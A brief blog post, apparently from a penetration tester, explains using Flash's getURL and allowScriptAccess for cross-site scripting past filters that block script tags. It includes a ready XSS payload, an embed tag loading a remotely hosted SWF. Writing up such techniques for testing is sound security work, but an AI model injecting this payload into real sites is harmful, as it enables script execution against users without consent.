Flash XSS

I've known about this technique for years but everyone might not be aware that Flash can be used for XSS, so I've decide to do a quick post to explain. Using getURL in Flash allows you to call javascript using the javascript protocol and using the parameter allowScriptAccess enables you to perform cross domain execution. This can be useful in a penetration test were a filter allows the '<' character but disallows the script tag.

Here's an example:-

<pre lang="html"> &lt;embed/src=//businessinfo.co.uk/labs/flashxss/flashxss.swf allowScriptAccess=always&gt; </pre>